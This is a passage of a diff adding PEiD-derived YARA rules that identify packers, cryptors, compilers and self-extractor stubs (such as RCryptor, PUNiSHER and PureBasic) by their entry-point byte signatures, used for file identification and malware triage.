+    strings:
+        $a = {52 51 55 57 64 67 A1 30 00 85 C0 78 0D E8 07 00 00 00 58 83 C0 07 C6 90 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01886_PseudoSigner_0_2__PENightMare_2_Beta__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [PENightMare 2 Beta]]"
+        ep_only = "true"
+    strings:
+        $a = {60 E9 10 00 00 00 EF 40 03 A7 07 8F 07 1C 37 5D 43 A7 04 B9 2C 3A}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01887_PseudoSigner_0_2__PESHiELD_0_25__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [PESHiELD 0.25]]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 2B 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 CC CC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01888_PseudoSigner_0_2__PEX_0_99__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [PEX 0.99]]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 01 00 00 00 55 83 C4 04 E8 01 00 00 00 90 5D 81 FF FF FF 00 01}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01889_PseudoSigner_0_2__REALBasic__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [REALBasic]]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 90 90 90 90 90 90 90 90 90 90 50 90 90 90 90 90 00 01}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01890_PseudoSigner_0_2__UPX_0_6__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [UPX 0.6]]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 58 83 E8 3D 50 8D B8 00 00 00 FF 57 8D B0 E8 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01891_PseudoSigner_0_2__Video_Lan_Client__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [Video-Lan-Client]]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 83 EC 08 90 90 90 90 90 90 90 90 90 90 90 90 90 90 01 FF FF 01 01 01 00 01 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 01 00 01 00 01 90 90 00 01}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01892_PseudoSigner_0_2__VOB_ProtectCD_5__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [VOB ProtectCD 5]]"
+        ep_only = "true"
+    strings:
+        $a = {36 3E 26 8A C0 60 E8 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01893_PseudoSigner_0_2__Watcom_C_C___DLL__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [Watcom C/C++ DLL]]"
+        ep_only = "true"
+    strings:
+        $a = {53 56 57 55 8B 74 24 14 8B 7C 24 18 8B 6C 24 1C 83 FF 03 0F 87 01 00 00 00 F1}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01894_PseudoSigner_0_2__WATCOM_C_C___EXE__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [WATCOM C/C++ EXE]]"
+        ep_only = "true"
+    strings:
+        $a = {E9 00 00 00 00 90 90 90 90 57 41}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01895_PseudoSigner_0_2__ZCode_1_01__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [ZCode 1.01]]"
+        ep_only = "true"
+    strings:
+        $a = {E9 12 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E9 FB FF FF FF C3 68 00 00 00 00 64 FF 35 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01896_PUNiSHER_1_5__DEMO_____FEUERRADER_AHTeam_
+{
+    meta:
+        description = "[PUNiSHER 1.5 (DEMO) -> FEUERRADER/AHTeam]"
+        ep_only = "false"
+    strings:
+        $a = {EB 04 83 A4 BC CE 60 EB 04 80 BC 04 11 E8 00 00 00 00 81 2C 24 CA C2 41 00 EB 04 64 6B 88 18 5D E8 00 00 00 00 EB 04 64 6B 88 18 81 2C 24 86 00 00 00 EB 04 64 6B 88 18 8B 85 9C C2 41 00 EB 04 64 6B 88 18 29 04 24 EB 04 64 6B 88 18 EB 04 64 6B 88 18 8B 04}
+    condition:
+        $a
+}
+
+rule PEiD_01897_PUNiSHER_v1_5__DEMO_____FEUERRADER_AHTeam_
+{
+    meta:
+        description = "[PUNiSHER v1.5 (DEMO) -> FEUERRADER/AHTeam]"
+        ep_only = "true"
+    strings:
+        $a = {EB 04 83 A4 BC CE 60 EB 04 80 BC 04 11 E8 00 00 00 00 81 2C 24 CA C2 41 00 EB 04 64 6B 88 18 5D E8 00 00 00 00 EB 04 64 6B 88 18 81 2C 24 86 00 00 00 EB 04 64 6B 88 18 8B 85 9C C2 41 00 EB 04 64 6B 88 18 29 04 24 EB 04 64 6B 88 18 EB 04 64 6B 88 18 8B 04 24 EB 04 64 6B 88 18 89 85 9C C2 41 00 EB 04 64 6B 88 18 58 68 9F 6F 56 B6 50 E8 5D 00 00 00 EB FF 71 78 C2 50 00 EB D3 5B F3 68 89 5C 24 48 5C 24 58 FF 8D 5C 24 58 5B 83 C3 4C 75 F4 5A 8D 71 78 75 09 81 F3 EB FF 52 BA 01 00 83 EB FC 4A FF 71 0F 75 19 8B 5C 24 00 00 81 33 50 53 8B 1B 0F FF C6 75 1B 81 F3 EB 87 1C 24 8B 8B 04 24 83 EC FC EB 01 E8 83 EC FC E9 E7 00 00 00 58 EB FF F0 EB FF C0 83 E8 FD EB FF 30 E8 C9 00 00 00 89 E0 EB FF D0 EB FF 71 0F 83 C0 01 EB FF 70 F0 71 EE EB FA EB 83 C0 14 EB FF 70 ED}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01898_PUNiSHER_V1_5____FEUERRADER_
+{
+    meta:
+        description = "[PUNiSHER V1.5 -> FEUERRADER]"
+        ep_only = "false"
+    strings:
+        $a = {3F 00 00 80 66 20 ?? 00 7E 20 ?? 00 92 20 ?? 00 A4 20 ?? 00 00 00 00 00 4B 45 52 4E 45 4C 33 32}
+    condition:
+        $a
+}
+
+rule PEiD_01899_PUNiSHER_V1_5_Demo____FEUERRADER_
+{
+    meta:
+        description = "[PUNiSHER V1.5 Demo -> FEUERRADER]"
+        ep_only = "true"
+    strings:
+        $a = {EB 04 83 A4 BC CE 60 EB 04 80 BC 04 11 E8 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01900_PuNkMoD_1_x____PuNkDuDe_
+{
+    meta:
+        description = "[PuNkMoD 1.x -> PuNkDuDe]"
+        ep_only = "true"
+    strings:
+        $a = {94 B9 ?? ?? 00 00 BC ?? ?? ?? ?? 80 34 0C}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01901_PureBasic_4_x____Neil_Hodgson_
+{
+    meta:
+        description = "[PureBasic 4.x -> Neil Hodgson]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? 00 00 68 00 00 00 00 68 ?? ?? ?? 00 E8 ?? ?? ?? 00 83 C4 0C 68 00 00 00 00 E8 ?? ?? ?? 00 A3 ?? ?? ?? 00 68 00 00 00 00 68 00 10 00 00 68 00 00 00 00 E8 ?? ?? ?? 00 A3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01902_PureBasic_4_x_DLL____Neil_Hodgson_
+{
+    meta:
+        description = "[PureBasic 4.x DLL -> Neil Hodgson]"
+        ep_only = "true"
+    strings:
+        $a = {83 7C 24 08 01 75 0E 8B 44 24 04 A3 ?? ?? ?? 10 E8 22 00 00 00 83 7C 24 08 02 75 00 83 7C 24 08 00 75 05 E8 ?? 00 00 00 83 7C 24 08 03 75 00 B8 01 00 00 00 C2 0C 00 68 00 00 00 00 68 00 10 00 00 68 00 00 00 00 E8 ?? 0F 00 00 A3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01903_PureBasic_DLL____Neil_Hodgson_
+{
+    meta:
+        description = "[PureBasic DLL -> Neil Hodgson]"
+        ep_only = "true"
+    strings:
+        $a = {83 7C 24 08 01 75 ?? 8B 44 24 04 A3 ?? ?? ?? 10 E8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01904_R_SC_s_Process_Patcher_1_4_
+{
+    meta:
+        description = "[R!SC's Process Patcher 1.4]"
+        ep_only = "false"
+    strings:
+        $a = {E8 E1 01 00 00 80 38 22 75 13 80 38 00 74 2E 80 38 20 75 06 80 78 FF 22 74 18 40 EB ED 80 38 00 74 1B EB 19 40 80 78 FF 20 75 F9 80 38 00 74 0D EB 0B 40 80 38 00 74 05 80 38 22 74 00 8B F8 B8 04 60 40 00 68 00 20 40 00 C7 05 A2 20 40 00 44 00 00 00 68 92}
+    condition:
+        $a
+}
+
+rule PEiD_01905_R_SC_s_Process_Patcher_1_5_1_
+{
+    meta:
+        description = "[R!SC's Process Patcher 1.5.1]"
+        ep_only = "false"
+    strings:
+        $a = {68 00 20 40 00 E8 C3 01 00 00 80 38 00 74 0D 66 81 78 FE 22 20 75 02 EB 03 40 EB EE 8B F8 B8 04 60 40 00 68 C4 20 40 00 68 D4 20 40 00 6A 00 6A 00 6A 04 6A 00 6A 00 6A 00 57 50 E8 9F 01 00 00 85 C0 0F 84 39 01 00 00 BE 00 60 40 00 8B 06 A3 28 21 40 00 83}
+    condition:
+        $a
+}
+
+rule PEiD_01906_R_SC_s_Process_Patcher_v1_4_
+{
+    meta:
+        description = "[R!SC's Process Patcher v1.4]"
+        ep_only = "false"
+    strings:
+        $a = {E8 E1 01 00 00 80 38 22 75 13 80 38 00 74 2E 80 38 20 75 06 80 78 FF 22 74 18 40 EB ED 80 38 00 74 1B EB 19 40 80 78 FF 20 75 F9 80 38 00 74 0D EB 0B 40 80 38 00 74 05 80 38 22 74 00 8B F8 B8 04 60 40 00 68 00 20 40 00 C7 05 A2 20 40 00 44 00 00 00 68 92 20 40 00 68 A2 20 40 00 6A 00 6A 00 6A 04 6A 00 6A 00 6A 00 57 50 E8 7C 01 00 00 85 C0 0F 84 2A 01 00 00 B8 00 60 40 00 8B 00 A3 1C 22 40 00 BE 40 60 40 00 83 7E FC 00 0F 84 F6 00 00 00 8B 3E 83 C6 04 85 FF 0F 84 83 00 00 00 81 FF 72 21 73 63 0F 84 DD 00 00 00 33 DB 66 8B 1E 8B CF 8D 7E 02 C7 05 EA 21 40 00 00 00 00 00 83 05 EA 21 40 00 01 50 A1 1C 22 40 00 39 05 EA 21 40 00 58 0F 84 C1 00 00 00 60 6A 00 53 68 EA 20 40 00 51 FF 35 92 20 40 00 E8 EB 00 00 00 61 60 FC BE EA 20 40 00 8B CB F3 A6 61 75 C2 03}
+    condition:
+        $a
+}
+
+rule PEiD_01907_R_SC_s_Process_Patcher_v1_5_1_
+{
+    meta:
+        description = "[R!SC's Process Patcher v1.5.1]"
+        ep_only = "false"
+    strings:
+        $a = {68 00 20 40 00 E8 C3 01 00 00 80 38 00 74 0D 66 81 78 FE 22 20 75 02 EB 03 40 EB EE 8B F8 B8 04 60 40 00 68 C4 20 40 00 68 D4 20 40 00 6A 00 6A 00 6A 04 6A 00 6A 00 6A 00 57 50 E8 9F 01 00 00 85 C0 0F 84 39 01 00 00 BE 00 60 40 00 8B 06 A3 28 21 40 00 83 C6 40 83 7E FC 00 0F 84 8F 00 00 00 8B 3E 83 C6 04 85 FF 0F 84 E5 00 00 00 81 FF 72 21 73 63 74 7A 0F B7 1E 8B CF 8D 7E 02 C7 05 24 21 40 00 00 00 00 00 83 05 24 21 40 00 01 50 A1 28 21 40 00 39 05 24 21 40 00 58 0F 84 D8 00 00 00 60 6A 00 53 68 2C 21 40 00 51 FF 35 C4 20 40 00 E8 0A 01 00 00 61 60 FC BE 2C 21 40 00 8B CB F3 A6 61 75 C2 03 FB 60 E8 3E 00 00 00 6A 00 53 57 51 FF 35 C4 20 40 00 E8 FB 00 00 00 85 C0 0F 84 A2 00 00 00 61 03 FB 8B F7 E9 71 FF FF FF 60 FF 35 C8 20 40 00 E8 CB 00 00 00 61 C7 05}
+    condition:
+        $a
+}
+
+rule PEiD_01908_RAR_Configuration_file_
+{
+    meta:
+        description = "[RAR Configuration file]"
+        ep_only = "false"
+    strings:
+        $a = {52 41 52 20 43 4F 4E 46 49 47}
+    condition:
+        $a
+}
+
+rule PEiD_01909_RAR_SFX_
+{
+    meta:
+        description = "[RAR SFX]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 00 00 00 00 90}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01910_RatPacker__Glue__stub_
+{
+    meta:
+        description = "[RatPacker (Glue) stub]"
+        ep_only = "true"
+    strings:
+        $a = {40 20 FF 00 00 00 00 00 00 00 ?? BE 00 60 40 00 8D BE 00 B0 FF FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01911_RatPacker__Glue__stub_
+{
+    meta:
+        description = "[RatPacker (Glue) stub]"
+        ep_only = "false"
+    strings:
+        $a = {40 20 FF ?? ?? ?? ?? ?? ?? ?? ?? BE ?? 60 40 ?? 8D BE ?? B0 FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_01912_RAZOR_1911_encruptor_
+{
+    meta:
+        description = "[RAZOR 1911 encruptor]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? BF ?? ?? 3B FC 72 ?? B4 4C CD 21 BE ?? ?? B9 ?? ?? FD F3 A5 FC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01913_RCryptor_1_5_by_Vaska__UsAr_sign__individual_version__21_03_2007_22_15__
+{
+    meta:
+        description = "[RCryptor 1.5 by Vaska (UsAr sign (individual version) 21.03.2007 22:15)]"
+        ep_only = "true"
+    strings:
+        $a = {83 2C 24 4F 68 40 A1 14 13 FF 54 24 04 83 44 24 04 4F B8 00 10 14 13 3D 24 C0 14 13 74 06 80 30 2B 40 EB F3 B8 8C 20 18 13 3D B9 27 18 13 74 06 80 30 19 40 EB F3 E8 00 00 00 00 C3}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01914_RCryptor_1_6_by_Vaska__Damrai_sign_20_03_2007_20_41__
+{
+    meta:
+        description = "[RCryptor 1.6 by Vaska (Damrai sign 20.03.2007 20:41)]"
+        ep_only = "true"
+    strings:
+        $a = {33 D0 68 40 A1 14 13 FF D2 B8 00 10 14 13 3D 24 C0 14 13 74 06 80 30 BB 40 EB F3 33 C0 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01915_RCryptor_1_6c_by_Vaska__UsAr_sign_21_03_2007_22_25__
+{
+    meta:
+        description = "[RCryptor 1.6c by Vaska (UsAr sign 21.03.2007 22:25)]"
+        ep_only = "true"
+    strings:
+        $a = {8B C7 03 04 24 2B C7 80 38 50 0F 85 1B 8B 1F FF 68 40 A1 14 13 B8 00 10 14 13 3D 24 C0 14 13 74 06 80 30 F2 40 EB F3 B8 8C 20 18 13 3D B9 27 18 13 74 06 80 30 E8 40 EB F3 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01916_RCryptor_1_6d_by_Vaska__UsAr_sign_21_03_2007_22_22__
+{
+    meta:
+        description = "[RCryptor 1.6d by Vaska (UsAr sign 21.03.2007 22:22)]"
+        ep_only = "true"
+    strings:
+        $a = {60 90 61 61 80 7F F0 45 90 60 0F 85 1B 8B 1F FF 68 40 A1 14 13 B8 00 10 14 13 90 3D 24 C0 14 13 74 06 80 30 F6 40 EB F3 B8 8C 20 18 13 90 3D B9 27 18 13 74 06 80 30 89 40 EB F3 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01917_RCryptor_2_0____Vaska_
+{
+    meta:
+        description = "[RCryptor 2.0 -> Vaska]"
+        ep_only = "true"
+    strings:
+        $a = {F7 D1 83 F1 FF 6A 00 F7 D1 83 F1 FF 81 04 24 ?? ?? ?? ?? F7 D1 83 F1 FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01918_RCryptor_by_Vaska_unknown_ver__sign_from_pinch_21_03_2006_23_05__
+{
+    meta:
+        description = "[RCryptor by Vaska unknown ver (sign from pinch 21.03.2006 23:05)]"
+        ep_only = "true"
+    strings:
+        $a = {90 58 90 50 90 8B 00 90 3C 50 90 58 0F 85 67 D6 EF 11 50 68 00 10 14 13 B8 00 10 14 13 3D 00 64 14 13 74 06 80 30 BC 40 EB F3 E8 00 00 00 00 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01919_RCryptor_v1_1_____Vaska_
+{
+    meta:
+        description = "[RCryptor v1.1 --> Vaska]"
+        ep_only = "false"
+    strings:
+        $a = {8B 04 24 83 E8 4F 68 ?? ?? ?? ?? FF D0}
+    condition:
+        $a
+}
+
+rule PEiD_01920_RCryptor_v1_1____Vaska_
+{
+    meta:
+        description = "[RCryptor v1.1 -> Vaska]"
+        ep_only = "false"
+    strings:
+        $a = {8B 04 24 83 E8 4F 68 ?? ?? ?? ?? FF D0 B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+    condition:
+        $a
+}
+
+rule PEiD_01921_RCryptor_v1_3___v1_4_____Vaska_
+{
+    meta:
+        description = "[RCryptor v1.3 / v1.4 --> Vaska]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 8B 44 24 04 83 E8 4F 68 ?? ?? ?? ?? FF D0 58 59 50}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01922_RCryptor_v1_3___v1_4____Vaska_
+{
+    meta:
+        description = "[RCryptor v1.3 / v1.4 -> Vaska]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 8B 44 24 04 83 E8 4F 68 ?? ?? ?? ?? FF D0 58 59 50 B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01923_RCryptor_v1_3b_____Vaska_
+{
+    meta:
+        description = "[RCryptor v1.3b --> Vaska]"
+        ep_only = "true"
+    strings:
+        $a = {61 83 EF 4F 60 68 ?? ?? ?? ?? FF D7}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01924_RCryptor_v1_3b____Vaska_
+{
+    meta:
+        description = "[RCryptor v1.3b -> Vaska]"
+        ep_only = "true"
+    strings:
+        $a = {61 83 EF 4F 60 68 ?? ?? ?? ?? FF D7 B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01925_RCryptor_v1_5__Private_____Vaska_
+{
+    meta:
+        description = "[RCryptor v1.5 (Private) -> Vaska]"
+        ep_only = "true"
+    strings:
+        $a = {83 2C 24 4F 68 ?? ?? ?? ?? FF 54 24 04 83 44 24 04 4F B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01926_RCryptor_v1_5_____Vaska_
+{
+    meta:
+        description = "[RCryptor v1.5 --> Vaska]"
+        ep_only = "true"
+    strings:
+        $a = {83 2C 24 4F 68 ?? ?? ?? ?? FF 54 24 04 83 44 24 04 4F}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01927_RCryptor_V1_5____Vaska___Sign_by_fly_
+{
+    meta:
+        description = "[RCryptor V1.5 -> Vaska ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {83 2C 24 4F 68 ?? ?? ?? ?? FF 54 24 04 83 44 24 04 4F B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? ?? EB F3 B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01928_RCryptor_v1_6____Vaska_
+{
+    meta:
+        description = "[RCryptor v1.6 -> Vaska]"
+        ep_only = "true"
+    strings:
+        $a = {33 D0 68 ?? ?? ?? ?? FF D2 B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01929_RCryptor_v1_6____Vaska_
+{
+    meta:
+        description = "[RCryptor v1.6 -> Vaska]"
+        ep_only = "true"
+    strings:
+        $a = {33 D0 68 ?? ?? ?? ?? FF D2}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01930_RCryptor_v1_6b___v1_6c_____Vaska_
+{
+    meta:
+        description = "[RCryptor v1.6b / v1.6c --> Vaska]"
+        ep_only = "true"
+    strings:
+        $a = {8B C7 03 04 24 2B C7 80 38 50 0F 85 1B 8B 1F FF 68}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01931_RCryptor_v1_6b___v1_6c____Vaska_
+{
+    meta:
+        description = "[RCryptor v1.6b / v1.6c -> Vaska]"
+        ep_only = "true"
+    strings:
+        $a = {8B C7 03 04 24 2B C7 80 38 50 0F 85 1B 8B 1F FF 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01932_RCryptor_V1_6c____Vaska___Sign_by_fly_
+{
+    meta:
+        description = "[RCryptor V1.6c -> Vaska ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {8B C7 03 04 24 2B C7 80 38 50 0F 85 1B 8B 1F FF 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3 B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01933_RCryptor_v1_6d_____Vaska_
+{
+    meta:
+        description = "[RCryptor v1.6d --> Vaska]"
+        ep_only = "true"
+    strings:
+        $a = {60 90 61 61 80 7F F0 45 90 60 0F 85 1B 8B 1F FF 68}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01934_RCryptor_V1_6d____Vaska___Sign_by_fly_
+{
+    meta:
+        description = "[RCryptor V1.6d -> Vaska ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {60 90 61 61 80 7F F0 45 90 60 0F 85 1B 8B 1F FF 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? 90 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3 B8 ?? ?? ?? ?? 90 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01935_RCryptor_v1_6d____Vaska_
+{
+    meta:
+        description = "[RCryptor v1.6d -> Vaska]"
+        ep_only = "true"
+    strings:
+        $a = {60 90 61 61 80 7F F0 45 90 60 0F 85 1B 8B 1F FF 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? 90 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01936_RCryptor_v1_6x____Vaska_
+{
+    meta:
+        description = "[RCryptor v1.6x -> Vaska]"
+        ep_only = "true"
+    strings:
+        $a = {60 90 61 61 80 7F F0 45 90 60 0F 85 1B 8B 1F FF 68 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01937_RCryptor_v1_______Vaska_
+{
+    meta:
+        description = "[RCryptor v1.?? -> Vaska]"
+        ep_only = "true"
+    strings:
+        $a = {90 58 90 50 90 8B 00 90 3C 50 90 58 0F 85 67 D6 EF 11 50 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01938_RCryptor_v1_______Vaska_
+{
+    meta:
+        description = "[RCryptor v1.?? -> Vaska]"
+        ep_only = "true"
+    strings:
+        $a = {90 58 90 50 90 8B 00 90 3C 50 90 58 0F 85 67 D6 EF 11 50 68}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01939_RCryptor_v2_0__Hide_EP______Vaska_
+{
+    meta:
+        description = "[RCryptor v2.0 (Hide EP) --> Vaska]"
+        ep_only = "true"
+    strings:
+        $a = {F7 D1 83 F1 FF 6A 00 F7 D1 83 F1 FF 81 04 24 DC 20 ?? 00 F7 D1 83 F1 FF E8 00 00 00 00 F7 D1 83 F1 FF C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01940_RCryptor_v2_0_____Vaska_
+{
+    meta:
+        description = "[RCryptor v2.0 --> Vaska]"
+        ep_only = "true"
+    strings:
+        $a = {F7 D1 83 F1 FF 6A 00 F7 D1 83 F1 FF 81 04 24 ?? 02 00 00 F7 D1 83 F1 FF 59 BA 32 21 ?? 00 F7 D1 83 F1 FF F7 D1 83 F1 FF 80 02 E3 F7 D1 83 F1 FF C0 0A 05 F7 D1 83 F1 FF 80 02 6F F7 D1 83 F1 FF 80 32 A4 F7 D1 83 F1 FF 80 02 2D F7 D1 83 F1 FF 42 49 85 C9 75 CD 1C 4F 8D 5B FD 62 1E 1C 4F 8D 5B FD 4D 9D B9 ?? ?? ?? 1E 1C 4F 8D 5B FD 22 1C 4F 8D 5B FD 8E A2 B9 B9 E2 83 DB E2 E5 4D CD 1E BF 60 AB 1F 4D DB 1E 1E 3D 1E 92 1B 8E DC 7D EC A4 E2 4D E5 20 C6 CC B2 8E EC 2D 7D DC 1C 4F 8D 5B FD 83 56 8E E0 3A 7D D0 8E 9D 6E 7D D6 4D 25 06 C2 AB 20 CC 3A 4D 2D 9D 6B 0B 81 45 CC 18 4D 2D 1F A1 A1 6B C2 CC F7 E2 4D 2D 9E 8B 8B CC DE 2E 2D F7 1E AB 7D 45 92 30 8E E6 B9 7D D6 8E 9D 27 DA FD FD 1E 1E 8E DF B8 7D CF 8E A3 4D 7D DC 1C 4F 8D 5B FD 33 D7 1E 1E 1E A6 0B 41 A1 A6 42 61 6B 41 6B 4C 45 1E 21 F6 26 BC E2 62 1E 62 1E 62 1E 23 63 59 ?? 1E 62 1E 62 1E 33 D7 1E 1E 1E 85 6B C2 41 AB C2 9F 23 6B C2 41 A1 1E C0 FD F0 FD 30 20 33 9E 1E 1E 1E 85 A2 0B 8B C2 27 41 EB A1 A2 C2 1E C0 FD F0 FD 30 62 1E 33 7E 1E 1E 1E C6 2D 42 AB 9F 23 6B C2 41 A1 1E C0 FD F0 FD 30 C0 FD F0 8E 1D 1C 4F 8D 5B FD E0 00 33 5E 1E 1E 1E BF 0B EC C2 E6 42 A2 C2 45 1E C0 FD F0 FD 30 CE 36 CC F2 1C 4F 8D 5B FD}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01941_RE_Crypt_0_7x____Crudd__RET__
+{
+    meta:
+        description = "[RE-Crypt 0.7x -> Crudd [RET]]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED F3 1D 40 00 B9 7B 09 00 00 8D BD 3B 1E 40 00 8B F7 61 60 E8 00 00 00 00 5D 55 81 04 24 0A 00 00 00 C3 8B F5 81 C5 ?? ?? 00 00 89 6D 34 89 75 38 8B 7D 38 81 E7 00 FF FF FF 81 C7 48 00 00 00 47 03 7D 60 8B 4D 5C 83 F9 00 7E 0F 8B}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01942_RE_Crypt_v0_7x____Crudd__RET_
+{
+    meta:
+        description = "[RE-Crypt v0.7x -> Crudd [RET]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 55 81 04 24 0A 00 00 00 C3 8B F5 81 C5 ?? ?? 00 00 89 6D 34 89 75 38 8B 7D 38 81 E7 00 FF FF FF 81 C7 48 00 00 00 47 03 7D 60 8B 4D 5C 83 F9 00 7E 0F 8B 17 33 55 58 89 17 83 C7 04 83 C1 FC EB EC 8B}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01943_RE_Crypt_v0_7x____Crudd__RET_
+{
+    meta:
+        description = "[RE-Crypt v0.7x -> Crudd [RET]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED F3 1D 40 00 B9 7B 09 00 00 8D BD 3B 1E 40 00 8B F7 61 60 E8 00 00 00 00 5D 55 81 04 24 0A 00 00 00 C3 8B F5 81 C5 ?? ?? 00 00 89 6D 34 89 75 38 8B 7D 38 81 E7 00 FF FF FF 81 C7 48 00 00 00 47 03 7D 60 8B 4D 5C 83 F9 00 7E 0F 8B 17 33 55 58 89 17 83 C7 04 83 C1 FC EB EC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01944_REALbasic_
+{
+    meta:
+        description = "[REALbasic]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 50 ?? ?? ?? ?? ?? 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01945_REC_v0_32_
+{
+    meta:
+        description = "[REC v0.32]"
+        ep_only = "true"
+    strings:
+        $a = {06 1E 52 B8 ?? ?? 1E CD 21 86 E0 3D}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01946_REC_v0_34__3_
+{
+    meta:
+        description = "[REC v0.34 [3]"
+        ep_only = "true"
+    strings:
+        $a = {06 1E B4 30 CD 21 3C 02 73 ?? 33 C0 06 50 CB}
+    condition:
